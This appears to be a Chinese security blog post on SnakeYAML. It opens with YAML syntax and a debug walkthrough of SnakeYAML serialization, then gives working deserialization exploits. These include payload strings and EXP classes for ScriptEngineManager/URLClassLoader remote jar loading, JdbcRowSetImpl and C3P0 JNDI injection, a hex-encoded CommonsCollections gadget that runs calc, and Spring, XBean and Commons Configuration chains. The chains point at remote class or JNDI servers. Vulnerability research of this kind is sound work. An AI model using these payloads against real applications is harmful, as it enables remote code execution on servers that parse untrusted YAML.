SnakeYaml 链
介绍
SnakeYAML
是一个用于解析和生成 YAML 格式数据的库。YAML(YAML Ain’t Markup Language)是一种人类可读的数据序列化标准,常用于配置文件和数据交换。SnakeYAML
提供了一种简单的方式来将 YAML 文档转换为 Java 对象,反之亦然。
Yaml 基础
YAML(YAML Ain’t Markup Language)是一种人类可读的数据序列化标准,广泛用于配置文件、数据交换和文档结构。YAML 的设计目标是易于阅读和编写,同时也易于机器解析和生成。以下是 YAML 语法的一些关键点和详细说明:
基本结构
标量(Scalars):YAML 支持多种标量类型,包括字符串、整数、浮点数、布尔值等。
1 2 3 4 5
| string: "Hello, World!" integer: 42 float: 3.14 boolean: true null_value: null
|
列表(Lists):列表用破折号(-
)表示,每个元素占据一行。
1 2 3 4
| fruits: - apple - banana - orange
|
映射(Mappings):映射用键值对表示,键和值之间用冒号(:
)分隔。
1 2 3 4 5 6 7
| person: name: John Doe age: 30 address: street: 123 Main St city: Anytown zip: 12345
|
缩进和块结构
YAML 使用缩进来表示嵌套结构,通常使用两个空格进行缩进(不建议使用制表符)。
1 2 3 4 5 6 7
| person: name: John Doe age: 30 address: street: 123 Main St city: Anytown zip: 12345
|
引用和别名
YAML 支持引用和别名,允许重复使用之前定义的数据。
- 引用(Anchor):用
&
符号定义一个引用。
- 别名(Alias):用
*
符号引用一个引用。
1 2 3 4 5 6 7
| base_config: &base debug: true log_level: info
extended_config: <<: *base log_level: debug
|
多文档支持
YAML 支持在一个文件中包含多个文档,每个文档用三个破折号(---
)分隔。
1 2 3 4 5 6
| --- document1: key1: value1 --- document2: key2: value2
|
特殊字符和转义
YAML 支持特殊字符和转义序列。例如,字符串中的特殊字符可以用反斜杠(\
)进行转义。
1
| escaped_string: "This is a \"quoted\" string."
|
注释
YAML 支持单行注释,用井号(#
)表示。
复杂结构
YAML 可以表示复杂的嵌套结构,包括列表中的映射和映射中的列表。
1 2 3 4 5 6 7 8 9 10 11
| employees: - name: Alice role: developer skills: - java - python - name: Bob role: manager skills: - leadership - communication
|
内置类型
YAML 支持多种内置类型,包括日期和时间。
1 2
| date: 2023-01-01 datetime: 2023-01-01T12:00:00Z
|
示例
以下是一个综合示例,展示了 YAML 的多种语法特性:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| --- person: name: John Doe age: 30 address: street: 123 Main St city: Anytown zip: 12345 hobbies: - reading - hiking - coding preferences: &prefs theme: dark notifications: true
user_settings: <<: *prefs language: en
|
通过这些详细的说明和示例,应该对 YAML 的语法有了全面的了解。YAML 的简洁性和可读性使其成为配置文件和数据交换的理想选择。
snakeYaml序列化/反序列化分析
环境
1 2 3 4 5
| <dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.27</version> </dependency>
|
demo演示
SnakeYaml 提供了 Yaml.dump()
和 Yaml.load()
两个函数对 yaml 格式的数据进行序列化和反序列化。
- Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个 Java 对象;
- Yaml.dump():将一个对象转化为 yaml 文件形式;
定义 Java 类
定义一个简单的 Java 类来表示数据结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package demo;
import java.util.List;
public class Person { public String name; private int age; protected List<String> hobbies;
public Person() { System.out.println("构造函数被调用"); }
public String getName() { System.out.println("getName方法被调用"); return name; }
public void setName(String name) { System.out.println("setName方法被调用"); this.name = name; }
public int getAge() { System.out.println("getAge方法被调用"); return age; }
public void setAge(int age) { System.out.println("setAge方法被调用"); this.age = age; }
public List<String> getHobbies() { System.out.println("getHobbies方法被调用"); return hobbies; }
public void setHobbies(List<String> hobbies) { System.out.println("setHobbies方法被调用"); this.hobbies = hobbies; }
@Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + ", hobbies=" + hobbies + '}'; } }
|
序列化和反序列化示例
编写一个示例程序来展示如何使用 SnakeYAML
进行序列化和反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package demo;
import org.yaml.snakeyaml.Yaml; import org.yaml.snakeyaml.constructor.Constructor;
import java.util.Arrays;
public class SnakeYamlDemo { public static void main(String[] args) { System.out.println("初始化一个Person 对象:"); Person person = new Person(); person.setName("John Doe"); person.setAge(30); person.setHobbies(Arrays.asList("reading", "hiking", "coding"));
System.out.println("\n序列化部分:"); Yaml yaml = new Yaml(); String yamlString = yaml.dump(person); System.out.println("Serialized YAML:\n" + yamlString);
System.out.println("\n反序列化部分:"); Yaml yamlLoader = new Yaml(new Constructor(Person.class)); Person loadedPerson = yamlLoader.load(yamlString); System.out.println("Deserialized Person:\n" + loadedPerson); } }
|
运行示例
运行上述代码,你将看到以下输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 初始化一个Person 对象: 构造函数被调用 setName方法被调用 setAge方法被调用 setHobbies方法被调用
序列化部分: getAge方法被调用 getHobbies方法被调用 Serialized YAML: !!demo.Person age: 30 hobbies: name: John Doe
反序列化部分: 构造函数被调用 setAge方法被调用 setHobbies方法被调用 Deserialized Person: Person{name='John Doe', age=30, hobbies=}
|
序列化的时候我们调用了getAge
和getHobbies
,反序列化的时候调用了setAge
和setHobbies
,但是,我们是有三个属性的。不难看出,序列化和反序列化的时候,我们并没有调用public
修饰的name
的getter/setter函数。但是从结果看name确实成功被序列化和反序列化了。
调试分析
序列化
可以直接跟到Yaml#dumpAll方法,其中我们要序列化的类在data变量里。data是我们要序列化的类的迭代器,output是一个 Writer,用于输出序列化后的 YAML 数据,rootTag是一个 Tag 对象,表示 YAML 文档的根标签。之后会new一个Serializer对象,里面放了一个 Emitter 对象,Emitter是一个用于将 YAML 事件发送到输出流的类,这里传入了output和 dumperOptions。对于每个对象,调用 this.representer.represent(data.next())
方法将其转换为 Node
对象。然后调用 serializer.serialize(node)
方法将 Node
对象序列化为 YAML 格式。
然后经过BaseRepresenter#represent来到BaseRepresenter#representData。传入的参数是data,此时这个data是我们从迭代器取出来的,就是我们要序列化的类。这个方法的主要目的是根据对象的类型选择合适的表示器(Representer
),并将对象转换为 Node
对象。前面一堆判断主要是选取合适的表示器来转换对象。
最后找到了Representer$RepresentJavaBean这个表示器来处理我们的类,很合理,刚好我们的类就是一个JavaBean。
跟进去会看到,调用了Representer#representJavaBean方法,参数是通过getProperties(data.getClass())
方法获取的 data
对象的类类型(data.getClass()
)的属性列表。这个方法返回一个 Property
对象的TreeSet类型集合(更好的TreeMap集合)。这里会涉及到为什么public属性不会调用getter/setter方法,后续会提到。
这段代码是用于将一个 JavaBean 对象转换为一个 MappingNode
对象。它遍历 JavaBean 的属性集合,也就是properties,然后会通过集合中每个property的get方法获得属性的值,然后调用representJavaBeanProperty方法,将属性的名称和值分别表示为 ScalarNode
和 Node
,并返回一个 NodeTuple。在为每个属性生成一个 NodeTuple
后,会将这些 NodeTuple
添加到 MappingNode
中,也就是转化后的Node。
1 2 3 4 5 6 7 8
| representJavaBean:99, Representer (org.yaml.snakeyaml.representer) representData:80, Representer$RepresentJavaBean (org.yaml.snakeyaml.representer) representData:106, BaseRepresenter (org.yaml.snakeyaml.representer) represent:65, BaseRepresenter (org.yaml.snakeyaml.representer) dumpAll:275, Yaml (org.yaml.snakeyaml) dumpAll:243, Yaml (org.yaml.snakeyaml) dump:220, Yaml (org.yaml.snakeyaml) main:23, Test (demo)
|
serialize里面就是处理我们转化好的node类了。
反序列化
进入Yaml#load,会new一个StreamReader类,把我们需要反序列化的yaml数据赋值进去,方便数据流的拂去,然后进入Yaml#loadFromReader函数
Yaml#loadFromReader函数中,我们会将sreader作为ParserImpl对象的一部分,然后将这个ParserImpl对象又作为一部分赋值给Composer。然后调用BaseConstructor#getSingleData。
接着进入BaseConstructor#getSingleData,其中composer在上一步会被设置了我们new出来的Composer对象,我们的yaml数据就在其中,而函数的参数,是Object.class。然后,会调用composer的getSingleNode函数根据我们的yaml数据,构造出node。node的value是我们要反序列化的类的属性对应的nodeTuple的数组列表。每个nodeTuple的keyNode是反序列化的类的属性名称封装的node,valueNode则是属性值封装的node。
接着我们会将node作为参数,调用BaseConstructor#constructDocument,这个方法看名字应该是从给定的node构造出一个文档对象。而这个方法又会调用BaseConstructor#constructObject,从给定的node构造出一个对象。当前方法从node中构造出对象后,会调用fillRecursive方法。这个步骤可能是为了处理那些在初始构造过程中因为递归引用或其他原因而不能立即完成构造的对象。
进入BaseConstructor#constructObject后,首先检查 constructedObjects 映射中是否已经包含了一个以该 node 为键的条目。constructedObjects 是一个映射,用于存储已经构造的对象,以节点为键,构造出的对象为值。如果 constructedObjects 包含该 node,则直接从映射中返回已构造的对象,避免了重复构造的开销。如果 constructedObjects 不包含该 node,则调用 this.constructObjectNoCheck(node) 方法来构造对象。这里因为没有构造过我们可以直接进入 BaseConstructorconstructObjectNoCheck(node) 方法。
BaseConstructorconstructObjectNoCheck中,我们会先把node添加到recursiveObject中,然后获得一个construct,接着判断constructedObjects包含node,依然是没有的,我们调用Construct$ConstructYamlObject#construct函数,node作为参数
在这个函数中又会去调用Construct$ConstructMapping#construct。为什么是ConstructMapping的construct,可以跟进this.getConstructor(node)里。
实例化出我们需要的类,然后调用Construct#constructJavaBean2ndStep方法用property.set里面给属性赋值。
1 2 3 4 5 6 7 8 9 10 11
| set:73, MethodProperty (org.yaml.snakeyaml.introspector) constructJavaBean2ndStep:285, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) construct:171, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor) constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor) constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor) constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor) getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor) loadFromReader:490, Yaml (org.yaml.snakeyaml) load:416, Yaml (org.yaml.snakeyaml) main:32, Test (demo)
|
public相关问题
关于为什么不会调用public
修饰的name
的getter/setter函数。从序列化的角度分析,我们序列化会获取properties里面的每个property,也就是properties集合每个key对应的val值(后续其实是key值了,处理成了TreeMap集合,类似树这个结构。),这个值在设置的时候。一开始,每个key,也就是属性名,对应的val都是MethodProperty类型。
但是在后续处理的时候,会判断每个属性是什么修饰,如果是public修饰的话,就会将这个属性的Property设置为FieldProperty。
那么序列化后续部分,代码会去得到每个Property,然后调用其get方法来获取我们要序列化的类的属性的值,而MethodProperty和FieldProperty的get方法也是不一样的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| MethodProperty#get
public Object get(Object object) { try { this.property.getReadMethod().setAccessible(true); return this.property.getReadMethod().invoke(object); } catch (Exception var3) { throw new YAMLException("Unable to find getter for property '" + this.property.getName() + "' on object " + object + ":" + var3); } }
------------------------------------------------------------------------
FieldProperty#get public Object get(Object object) { try { return this.field.get(object); } catch (Exception var3) { throw new YAMLException("Unable to access field " + this.field.getName() + " on object " + object + " : " + var3); } }
|
对比两个get方法,显然MethodProperty#get方法,是通过反射获取属性的getter方法,然后method.invoke调用。而FieldProperty#get,则是该属性的字段field,然后用field.get方法获取属性的值。
前置知识-SPI机制
介绍
SPI,即Service Provider Interface,是Java提供的一套用来被第三方实现或扩展的API。它可以用于模块化,提供统一的接口,并且加载实现这些接口的类。
SPI的工作原理很简单。在你的JAR包中,可以包含一个名为META-INF/services
的文件夹,里面包含一些配置文件。这些配置文件的命名应该和你的接口全名一致,而文件的内容则是该接口的具体实现类。当运行到程序需要用到这个接口的时候,Java会扫描所有包含这个接口的实现类的配置文件,加载实现类。
一个典型的SPI的使用是在java.util.ServiceLoader
。ServiceLoader是一种服务提供加载设施,它可以加载Service接口的实现。当你调用ServiceLoader.load()
方法时,它会返回一个实现了该接口的对象。
1 2 3 4
| ServiceLoader<YourInterface> loaders = ServiceLoader.load(YourInterface.class); for (YourInterface loader : loaders) { }
|
这样,你就可以在代码中调用SPI的接口,而具体的实现可以在运行时动态添加。这种机制让你的代码可以更加模块化,更容易扩展。
Java的许多核心API都使用SPI,例如java.sql.Driver
或javax.servlet.ServletContainerInitializer
等。你可以通过实现这些接口,为Java添加新的数据库驱动或者Servlet容器。
mysql-connector-java中的SPI
程序会通过 java.util.ServiceLoder
动态装载实现模块,在 META-INF/services
目录下的配置文件寻找实现类的类名,通过 Class.forName
加载进来, newInstance()
反射创建对象。
snakeYaml反序列化漏洞
基于 ScriptEngineManager 利用链(利用 SPI 机制)
yaml-payload.jar配置
1 2 3 4 5 6 7 8 9 10 11
| import org.yaml.snakeyaml.Yaml;
public class SPInScriptEngineManager_EXP { public static void main(String[] args) { String payload = "!!javax.script.ScriptEngineManager " + "[!!java.net.URLClassLoader " + "[[!!java.net.URL [\"http://localhost:9999/yaml-payload.jar\"]]]]\n"; Yaml yaml = new Yaml(); yaml.load(payload); } }
|
访问到jar包时,会扫描META-INF/services下的文件,扫到javax.script.ScriptEngineFactory,会创造这个接口的具体实现类,这个具体实现类就是artsploit.AwesomeScriptEngineFactory,也就是我们构造的恶意类。
因为在实例化这个类的时候会通过 Class.forName
加载进来, newInstance()
反射创建对象,所以可以调用我们的构造函数触发calc指令。
调试分析
来到Constructor#Construct函数,此时的getConstructor(node)是Constructor$ConstructSequence,也就是说我们接下来会去到Constructor$ConstructSequence#construct函数,此时的node是SequenceNode类型,代表一个序列,即一个元素列表。我们的yaml数据就封装在里面
进入Constructor$ConstructSequence#construct函数后,前面一些if判断跳过,来到会执行的代码处,首先遍历目标类的所有声明的构造函数,并将那些参数数量与序列节点中的元素数量匹配的构造函数添加到一个列表中。如果只有一个可能的构造函数,这段代码会创建一个参数列表,并为每个参数节点设置运行时类型,然后调用这个构造函数来创建一个新的对象。而我们possibleConstructors确实只有一个Construct,所以会进入到这个逻辑。
中间会有循环调用,我们的yaml数据封装太多层了。
然后回反射调用构造函数来构造我们的ScriptEngineManager对象。
来到ScriptEngineManager对象构造函数,
会走到ScriptEngineManager#initEngines方法,该方法被设计为使用提供的ClassLoader初始化ScriptEngineFactory实例。我们这里就是UrlClassLoader,然后会用迭代器去遍历。在这个过程中,会检查和加载配置文件中定义的服务,并逐个解析这些服务,也就是扫描META-INF/services文件夹,然后反射获取接口的实现类,newInstance实例化。实例化的过程中调用了这个实现类的构造函数触发指令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| newInstance:396, Class (java.lang) nextService:380, ServiceLoader$LazyIterator (java.util) next:404, ServiceLoader$LazyIterator (java.util) next:480, ServiceLoader$1 (java.util) initEngines:122, ScriptEngineManager (javax.script) init:84, ScriptEngineManager (javax.script) <init>:75, ScriptEngineManager (javax.script) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422, Constructor (java.lang.reflect) construct:570, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor) construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor) constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor) constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor) constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor) getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor) loadFromReader:490, Yaml (org.yaml.snakeyaml) load:416, Yaml (org.yaml.snakeyaml) main:9, SPInScriptEngineManager
|
payloda
1
| !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:9999/yaml-payload.jar"]]]]
|
就是构建了java.net.URL对象,构造函数参数为”http://localhost:9999/yaml-payload.jar",然后将这个对象作为java.net.URLClassLoader的构造函数的参数,来构造URLClassLoader对象,然后用这个URLClassLoader对象作为参数,去做javax.script.ScriptEngineManager构造函数的参数来构造ScriptEngineManager对象。
JdbcRowSetImpl
1 2 3
| String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:1389/Exploit\"\n autoCommit: true";
String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/Exploit\", autoCommit: true}";
|
C3P0 JndiRefForwardingDataSource
1 2 3 4 5
| String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" + " jndiName: \"rmi://localhost/Exploit\"\n" + " loginTimeout: 0";
String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: \"rmi://localhost/Exploit\", loginTimeout: \"0\"}";
|
C3P0 WrapperConnectionPoolDataSource
1 2 3
| String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + " userOverridesAsString: \"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B78707400036B65797372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000047372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65707400096765744D6574686F64757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001C7371007E00137571007E0018000000027070740006696E766F6B657571007E001C00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00187371007E00137571007E00180000000174000463616C63740004657865637571007E001C0000000171007E001F7371007E00003F4000000000000C77080000001000000000787874000576616C756578 ;\"";
|
Spring PropertyPathFactoryBean
依赖
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.3.18</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>5.3.18</version> </dependency>
|
分析
可以SimpleJndiBeanFactory#getBean函数可以jndi注入。
我们需要找到一个类,他的setter会调用getBean函数。这里我们找到的是PropertyPathFactoryBean#setBeanFactory方法。BeanFactory是一个private属性,可以调用,所以构造一个PropertyPathFactoryBean对象
有一些不太难得小绕过,比如propertyPath不能为空,否则抛异常,还有beanFactory.isSingleton(this.targetBeanName)会检测构造的SimpleJndiBeanFactory中的shareableResources这个集合,是否包含了this.targetBeanName,只有包含了才能通过判断,然后执行getBean函数。
根据上面的小demo,可以轻易写出exp了。
1 2 3 4 5 6 7 8 9 10 11 12 13
| import org.yaml.snakeyaml.Yaml;
public class SpringPropertyPathFactoryBeanEXP { public static void main(String[] args) { String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + " targetBeanName: \"rmi://localhost:1099/evilexp\"\n" + " propertyPath: cmisl\n" + " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" + " shareableResources: [\"rmi://localhost:1099/evilexp\"]"; Yaml yaml = new Yaml(); yaml.load(payload); } }
|
payload
1 2 3 4 5
| !!org.springframework.beans.factory.config.PropertyPathFactoryBean targetBeanName: "rmi://localhost:1099/evilexp" propertyPath: cmisl beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory shareableResources: ["rmi://localhost:1099/evilexp"]
|
这里没有构造出一行版本的payload,因为要求在解析完targetBeanName后识别一个块映射的结束(<block end>
),但实际找到的是一个标量(<scalar>
)。一行会导致块映射的结束(<block end>
)的丢失。
Apache XBean
依赖
1 2 3 4 5
| <dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-naming</artifactId> <version>4.20</version> </dependency>
|
分析
比较眼熟的一个函数,在jndi高版本绕过不出网利用中出现过。这个方法在ContextUtil$ReadOnlyBinding#resolve中,而resolve又被ContextUtil$ReadOnlyBinding#getObject调用。
然后就要找调用了getObject的地方,这里我们找到的是Binding的toString方法,因为Binding这个类是ReadOnlyBinding的父类。当我们构造好ReadOnlyBinding,调用ReadOnlyBinding的toString,因为自己没有这个方法所以会直接调用父类Binding的toString方法,然后调用到自己的getObject。
接着我们需要寻找调用了toString方法的地方,最好是在构造函数中。因为我们反序列化的过程中,会调用对我们要反序列化的类进行初始化,这里找到的是BadAttributeValueExpException(不知道咋从1w多个方法里找的,汗),完美,参数是Object类型,方便调用到我们指定类的toString方法。
所以可以写出EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package demo;
import org.yaml.snakeyaml.Yaml;
public class ApacheXBeanEXP { public static void main(String[] args) { String payload = "!!javax.management.BadAttributeValueExpException " + "[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding " + "['cmisl',!!javax.naming.Reference ['evilexp', 'evilexp', 'http://127.0.0.1:9999/']," + "!!org.apache.xbean.naming.context.WritableContext []]]"; Yaml yaml = new Yaml(); yaml.load(payload); } }
|
其实我们在javax.management.BadAttributeValueExpException并没有val的setter/getter函数,为什么能反序列化成功呢,其实yaml数据不同格式会用不同方法反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13
| String yaml_payload="!!demo.Demo {age: 5}";
输出: 无参 setAge Demo{object=null, age=5}
-----------------------------------------------------
String yaml_payload="!!demo.Demo [null,5]";
输出: Demo{object=null, age=5}
|
不难察觉两者的差别,第一中是用setter函数设置属性的值,第二种这是直接构造函数中赋值,不需要setter方法。
payload
1
| String payload="!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ['cmisl',!!javax.naming.Reference ['evilexp', 'evilexp', 'http://127.0.0.1:9999/'],!!org.apache.xbean.naming.context.WritableContext []]]";
|
Apache Commons Configuration
依赖
1 2 3 4 5
| <dependency> <groupId>commons-configuration</groupId> <artifactId>commons-configuration</artifactId> <version>1.10</version> </dependency>
|
分析
1 2 3 4 5 6 7 8 9 10 11
| import org.yaml.snakeyaml.Yaml;
public class ApacheCommonsConfigurationEXP { public static void main(String[] args) { String yaml_payload = "!!org.apache.commons.configuration.ConfigurationMap " + "[!!org.apache.commons.configuration.JNDIConfiguration " + "[!!javax.naming.InitialContext [], \"rmi://127.0.0.1:1099/evilexp\"]]: 1"; Yaml yaml = new Yaml(); yaml.load(yaml_payload); } }
|
可以根据下面调用堆栈分析一下,这个能走通挺厉害的。大概就是,如果你的yaml数据是键值对,反序列化的过程中就会调用key的hashcode函数,这条链就是ConfigurationMap的hashcode,继承自父类,然后hashcode调用了iterator方法。然后调用configuration属性的getkeys方法,我们将这个属性设置为JNDIConfiguration对象,那么就会调用JNDIConfiguration#getkeys,再通过这个方法里面的getBaseContext方法走到jndi
调用堆栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| lookup:-1, RegistryImpl_Stub (sun.rmi.registry) lookup:118, RegistryContext (com.sun.jndi.rmi.registry) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:417, InitialContext (javax.naming) getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration) getKeys:203, JNDIConfiguration (org.apache.commons.configuration) getKeys:182, JNDIConfiguration (org.apache.commons.configuration) <init>:161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration) <init>:154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration) iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration) hashCode:505, AbstractMap (java.util) processDuplicateKeys:94, SafeConstructor (org.yaml.snakeyaml.constructor) flattenMapping:76, SafeConstructor (org.yaml.snakeyaml.constructor) constructMapping2ndStep:189, SafeConstructor (org.yaml.snakeyaml.constructor) constructMapping:460, BaseConstructor (org.yaml.snakeyaml.constructor) construct:556, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor) constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor) constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor) constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor) getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor) loadFromReader:490, Yaml (org.yaml.snakeyaml) load:416, Yaml (org.yaml.snakeyaml) main:9, ApacheCommonsConfigurationEXP
|
payload
1
| String yaml_payload = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"rmi://127.0.0.1:1099/evilexp\"]]: 1"
|